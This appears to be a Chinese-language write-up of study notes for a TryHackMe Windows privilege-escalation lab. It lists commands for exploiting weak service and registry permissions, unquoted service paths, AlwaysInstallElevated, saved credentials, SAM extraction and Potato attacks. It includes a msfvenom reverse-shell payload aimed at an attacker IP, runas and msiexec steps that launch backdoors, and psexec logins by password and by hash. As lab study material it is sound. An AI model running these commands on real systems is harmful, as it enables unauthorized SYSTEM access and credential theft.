Before all
感謝Tib3rius大大在TryHackMe上面的機器:
https://tryhackme.com/r/room/windows10privesc
這兩篇之後要好好研究:
https://www.51cto.com/article/521122.html
https://www.anquanke.com/post/id/84855
Service Exploits
Insecure Service Permissions
CMD 列出所有service:
1 | sc query type= all state= all |findstr /i service_name.* |more |
需要用到的工具:http://live.sysinternals.com/accesschk.exe
使用者名稱:user
檢查使用者對所有服務的權限:
1 | accesschk.exe /accepteula -uwcqv user * |
特定服務:
1 | accesschk.exe /accepteula -uwcqv user daclsvc |
結果(範例):
1 | SERVICE_QUERY_STATUS |
檢查詳細資訊:
1 | sc qc daclsvc |
抽換service的binary path:
1 | sc config daclsvc binpath= "C:\Users\user\reverse.exe" |
開啟服務:
1 | net start daclsvc |
Unquoted Service Path
尋找 Unquoted services:
1 | cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ |
假設今天有個檔案叫做 C:\Program Files\Whale Service\Sweet Whale.exe
並且他是一個service(就叫他whale_whaleㄅ)
那因為這是Unquoted Path,所以可以建立C:\Program.exe, C:\Program Files\Whale.exe, C:\Program Files\Whale Service\Sweet.exe 這幾種名稱的檔案,使windows在啟動whale_whale的時候會跟著跑這些檔案。
利用accesschk.exe確認權限的方法:
1 | accesschk.exe /accepteula -uwdq C:\Program Files\Whale Service\Sweet Whale.exe\" |
假設有W(Write)的權限,就代表使用者可以變更這個path底下的東西啦~
Weak Registry Permissions
利用accesschk找尋帶弱點的檔案:
1 | accesschk.exe /accepteula -kvuqsw "NT AUTHORITY\INTERACTIVE" HKLM\System\CurrentControlSet\Services |
使用者名稱可以自由更換
更改ImagePath:
1 | reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f |
Insecure Service Executables
利用accesschk.exe確認使用者對檔案的權限:
1 | accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe" |
如果有FILE_ALL_ACCESS或其他可以寫入檔案的跡象就可以開心copy過去啦~
Registry Exploits
AutoRuns
AutoRuns就是管理程序被登入時會觸發的程式
可以利用底下的command確認檔案位置:
1 | reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
最後,一樣使用accesschk確認檔案權限:
1 | accesschk.exe /accepteula -quvw "C:\Program Files\Autorun Program\program.exe" |
如果使用者身分可寫的話就沒問題啦
AlwaysInstallElevated
AlwaysInstallElevated可以允許使用者以系統的身分建立Microsoft安裝檔,也就是msi file。
以如下兩個指令確認是否具有該權限:
1 | reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
利用msfvenom生成msi後門:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.195.189 LPORT=9090 -f exe -o reverse.exe |
最後,在受害機器上以msiexec執行該後門檔案:
1 | msiexec /quiet /qn /i C:\PrivEsc\reverse.msi |
Password
Registry
從Registry找密碼相關的東西:
1 | reg query HKLM /f password /t REG_SZ /s |
快速版:
1 | reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" |
利用psexec.py(Impacket有)進行密碼登入
1 | python3 psexec.py admin:'password123'@10.10.186.113 cmd.exe |
他也支援hash登入,方法如下:
1 | psexec.py -hashes :217e50203a5aba59cefa863c724bf61b user1@172.16.50.42 cmd.exe |
Saved Creds
有時候,機器上會有存取好的crenditial,這時候可以利用cmdkey /list
指令查看。
如果有找到儲存的credits,就可以利用runas
指令彈rev shell回來:
1 | runas /savecred /user:admin C:\PrivEsc\reverse.exe |
SAM
SAM就是Security Account Manager 的縮寫,記錄了密碼的HASH。
可以以以下指令尋找SAM檔案(記得cd去根目錄/
):
1 | dir /s /b | findstr /i "\\SAM$" |
此外,SAM檔案需要配合SYSTEM檔案做讀取。
可以本地建立FTP(SYSTEM檔案可能傳輸損毀),或者建立自己的SERVER之類的把檔案丟回來。
Others
Insecure GUI APP
點開properties/屬性後會有這樣的一段內容:
點開app後也可以像這樣的指令確認權限:
1 | tasklist /V | findstr mspaint.exe |
(mspaint.exe是這邊的範例)
最後,在導覽列輸入file://c:/windows/system32/cmd.exe
直接按下enter就可以跳出一個admin cmd啦~
Startup Apps
startup apps在登入時會啟動,如果可以被寫入的話可以插入自訂一的lnk
檔案連去你的後門程式。
accesschk.exe:
1 | accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" |
建立的vbscript:
1 | Set oWS = WScript.CreateObject("WScript.Shell") |
最後以cscript <path of vbs file>
指令啟動他就好。
Impersonations
Potato 家族
1 | If the machine is >= Windows 10 1809 & Windows Server 2019 — Try Rogue Potato |
詳情可以參考這篇文章:https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all
打之前要用 whoami /priv
確認權限
Rouge Potato/Juicy Potato/Print Spoofer:
必須有以下兩種權限至少一個
1 | SeImpersonatePrivilege |
PsExec
除了nt system也可以試著提成別的身分:
https://hackmd.io/@veryP/rkFeN_8Vh